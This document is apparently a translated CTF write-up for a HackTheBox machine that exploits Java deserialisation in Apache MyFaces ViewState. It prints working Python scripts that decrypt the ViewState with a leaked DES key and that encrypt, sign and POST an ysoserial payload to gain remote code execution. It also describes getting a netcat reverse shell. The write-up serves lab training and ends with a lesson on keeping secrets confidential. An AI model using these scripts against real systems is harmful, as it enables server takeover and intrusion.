Apache, ViewState & Deserialisation

In this article, we consider a vulnerability based on spoofing a serialized ViewState Java object and the method of its operation using the example of a web application of a virtual machine with HackTheBox using Apache MyFaces technology.







JavaServer Faces (JSF) is a user interface development platform for Java web applications. To store the current state of the page (for example, which page elements should currently be displayed), JSF uses the ViewState parameter.





(HTML data submission form)









ViewState is a serialized Java object that is automatically embedded in the HTML form as a hidden field with the name javax.faces.ViewState. When sending data from the form, we see that the ViewState parameter is also sent. And since it is a serialized object, we can probably try to execute the server-side command (RCE) using our own charged serialized object, which contains the payload.

(For those who want to delve into this topic, I recommend reading this material here ).



So let's get started. This article will look at a similar vulnerability and method.

its operation on the example of a web application of a vulnerable virtual machine

with HackTheBox using Apache MyFaces technology.



In the Apache MyFaces configuration, you can enable encryption of the ViewState component (in our example, DES-ECB encryption is used), which will increase the security of the application.

If encryption is disabled, then we need to send the serialized object through the ViewState component to execute the command on the server side. But what if the web application uses encryption and the key is compromised? This complicates the task a bit, let's see how to be in this situation.



We managed to find a backup with web application configuration files:







Fine! Now we know SECRET, MAC_ALGORITHM, MAC_SECRET.

Turn to the official documentation. Here and here .







Having digested the received information, we will try to decrypt ViewState. For this

using Decoder BurpSuite we will bring it to its normal form and write a small Python script:







Python script
import base64 from Crypto.Cipher import DES import urllib def pad(data): if len(data) % 8: for n in xrange(len(data)): if ((len(data) + n) % 8) == 0: data += chr(n) * n break return data key = b'SnNGOTg3Ni0=' key = base64.b64decode(key) cipher = DES.new(key, DES.MODE_ECB) enctext = b'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE=' #enctext = urllib.quote(enctext.decode("ascii")) enctext = base64.b64decode(enctext) enctext = pad(enctext) msg = cipher.decrypt(enctext) print(msg)
      
      









The output is:







This is a serialized object containing an HmacSHA1 signature for integrity checking.



Let's start creating the โ€œchargedโ€ VIEWSTATE.



To create a serialized payload we will use the ysoserial tool





(I will try to ping myself (ip: 10.10.14.11) from the server)



After ysoserial, our payload looks like this:







But just sending it in this form will not work, we already know that the server uses authentication based on the HmacSHA1 algorithm, DES-ECB encryption, and as the final โ€œwrapsโ€ all this in base64. Let's automate all this by writing a Python script (thanks be_a_saint ).



Another Python Script
 import base64 from Crypto.Cipher import DES import hmac import hashlib import socket import os import urllib def padding_append(data): if len(data) % 8: for n in xrange(len(data)): if ((len(data) + n) % 8) == 0: data += chr(n) * n break return data def encrypt_viewstate(viewstate, secret): secret = base64.b64decode(secret) des = DES.new(secret, DES.MODE_ECB) viewstate = padding_append(viewstate) viewstate = [viewstate[n:n+8] for n in xrange(0, len(viewstate), 8)] viewstate = "".join(map(des.encrypt, viewstate)) viewstate += hmac.new(secret, viewstate, hashlib.sha1).digest() viewstate = base64.b64encode(viewstate) return viewstate def create_payload(): with open('payload_ping.ser', 'r') as fi: payload_ping = fi.read() payload = encrypt_viewstate(payload_ping, "SnNGOTg3Ni0=") payload = urllib.quote(payload.encode("ascii")) return payload victim_url = "http://127.0.0.1:8081/userSubscribe.faces" post_data = "j_id_jsp_1623871077_1%3Aemail=test%40hello.com&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" payload = create_payload() os.system('curl -d \"' + post_data + payload + '\" -H \"Content-Type: application/x-www-form-urlencoded\" -X POST ' + victim_url)
      
      







By setting up a redirect in BurpSuite, we can see the result of the script - our payload:







Open Wireshark, in BurpSuite click Forward and catch the incoming ICMP packets,

which indicates the successful completion of our server-side load.







Another small example of the payload and its result.











Similarly, the payload was successful.



And if something is more serious? Ok, let's fill in the netcat server and get a reverse shell for ourselves:







Done! Received a shell on behalf of a web service, then it is up to the enumeration

and privilege escalation.



Exploitation of this vulnerability became possible as a result of receiving SECRETs of the server, hence the conclusion suggests that despite all the measures taken to protect the code / application, one of the most important security criteria remains the confidentiality of sensitive application data (passwords, configuration files, backups, etc.). d.).



That's all, thanks for watching!



All Articles